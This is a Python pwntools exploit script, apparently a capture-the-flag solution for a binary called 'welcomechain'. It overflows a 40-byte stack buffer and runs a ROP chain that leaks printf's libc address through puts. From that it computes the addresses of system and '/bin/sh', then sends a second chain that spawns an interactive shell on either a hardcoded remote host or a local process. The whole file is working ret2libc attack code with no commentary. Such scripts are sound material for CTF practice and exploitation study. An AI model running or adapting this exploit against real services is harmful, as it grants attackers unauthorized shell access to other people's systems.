from pwn import *
import sys

overflow_len = 40
puts_plt = 0x004005a0
printf_got = 0x601030
pop_rdi = 0x00400853
main_addr = 0x004007ba
ret = 0x00400576
if sys.argv[1] == "r":
    printf_offset = 0x64e80
    system_offset = 0x4f440
    binsh_offset = 0x1b3e9a
    r = remote("114.177.250.4", 2226)
else:
    printf_offset = 0x64e80
    system_offset = 0x4f440
    binsh_offset = 0x1b3e9a
    r = process("./welcomechain")

sleep(5)

# read libc_base
payload = b"A" * overflow_len
payload += p64(pop_rdi)
payload += p64(printf_got)
payload += p64(puts_plt)
payload += p64(main_addr)

r.sendline(payload)

r.recvuntil("Your input is :")
print(r.recvline())
printf_addr = u64(r.recv(6) + b"\x00\x00") 
print("printf_addr: {}".format(hex(printf_addr)))
libc_base = printf_addr - printf_offset
print("libc_base: {}".format(hex(libc_base)))
system_addr = libc_base + system_offset
print("system_addr: {}".format(hex(system_addr)))
binsh_addr = libc_base + binsh_offset
print("binsh_addr: {}".format(hex(binsh_addr)))

# attack
payload = b"A" * overflow_len
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)

r.sendline(payload)

r.interactive()
